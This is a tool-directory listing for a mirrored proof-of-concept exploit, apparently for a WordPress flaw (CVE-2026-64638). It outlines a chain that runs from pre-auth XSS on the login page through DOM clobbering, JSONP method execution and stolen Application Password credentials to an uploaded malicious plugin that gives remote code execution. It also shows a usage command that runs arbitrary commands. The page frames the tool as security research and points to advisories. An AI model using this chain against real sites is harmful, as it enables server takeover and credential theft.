Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/hackspeak/cve-2026-64638
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAdversarial Attack
GitHubhackspeak/cve-2026-64638

CVE-2026-64638

XSS2Shell (CVE-2026-64638) WordPress pre-auth XSS to RCE PoC mirror — WordSec, MIT; for authorized security testing

View Repository
151 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-64638 — XSS2Shell: WordPress Login Page Pre-Auth XSS → Server RCE

HackSpeak distribution mirror. This repository is a distribution mirror of the educational XSS2Shell PoC (CVE-2026-64638) released by WordSec, with code identical to upstream; upstream is MIT License, Copyright (c) 2026 WordSec.

⚠️ For security research and authorized testing only; run only against WordPress sites you own or have written authorization to assess. The PoC creates and cleans up temporary posts; do not target third-party administrators or production systems.

Vulnerability Summary

XSS2Shell (CVE-2026-64638) is a pre-auth reflected XSS on the WordPress login page (wp-login.php) that can be escalated through a complete chain to server-side PHP code execution (RCE).

  • Root cause: a parsing discrepancy between PHP strip_tags() and WordPress KSES (wp_kses_post()) — inserting a space between < and the tag name (e.g., < area) makes the former preserve it as plain text while the latter parses it as a valid HTML element (// are all on the allowlist);
<area>
<div>
<button>
  • XSS: no authentication required; submitting a forged username triggers it on the failed-login error page;
  • RCE chain: DOM Clobbering hijacks ajaxurl → the login page's built-in user-profile.js automatically triggers a jQuery POST → REST API JSONP (_jsonp) → Same Origin Method Execution (SOME, Paulos Yibelo 2022) → cross-window click on the admin's Application Password authorization button → steal API credentials → publish a page containing <script> → upload a malicious plugin ZIP → PHP executes directly (no activation required);
  • Impact: nearly all WordPress versions (4.9.0–7.0.2); fixed in 7.0.3 (2026-08-06, emergency), backported to all maintenance branches since 4.7.
  • Usage

    root@kitploit:~
    python3 xss2shell_poc.py -t http://wordpress.test --lhost 192.168.1.100 --lport 8080 -c "whoami"
    
    ParameterDescription
    -t, --targetWordPress base URL (with http/https; trailing slash normalized automatically)
    -c, --commandCommand to execute once the shell is ready
    --lhost / --lportListen address/port (lport 0 = random)
    --keepKeep the temporary post (cleaned up by default)

    Dependencies: Python 3.7+, zero third-party packages; requires an admin to be logged into the target site and open the attacker's URL (one interaction).

    Disclaimer

    • For security research, vulnerability validation, and defensive testing only; run in a disposable environment and do not use against unauthorized systems.
    • The PoC is educational code based on publicly available technical analysis; read the upstream documentation and your target's authorization boundaries before use.

    References

    • Upstream source repository (source of this PoC): https://github.com/wordsec/XSS2Shell
    • pwn.ai official disclosure: XSS2Shell — https://pwn.ai/blog/xss2shell
    • WordPress official security advisory: GHSA-52p2-r8wf-jcrf — https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-52p2-r8wf-jcrf
    • WordPress 7.0.3 release announcement: https://wordpress.org/news/2026/08/wordpress-7-0-3-release/
    • The Hacker News coverage: https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html
    • WordSec technical analysis + PoC documentation: https://wordsec.net/blog/xss2shell-wordpress-pre-auth-xss-to-rce-cve-2026-64638
    Download Tool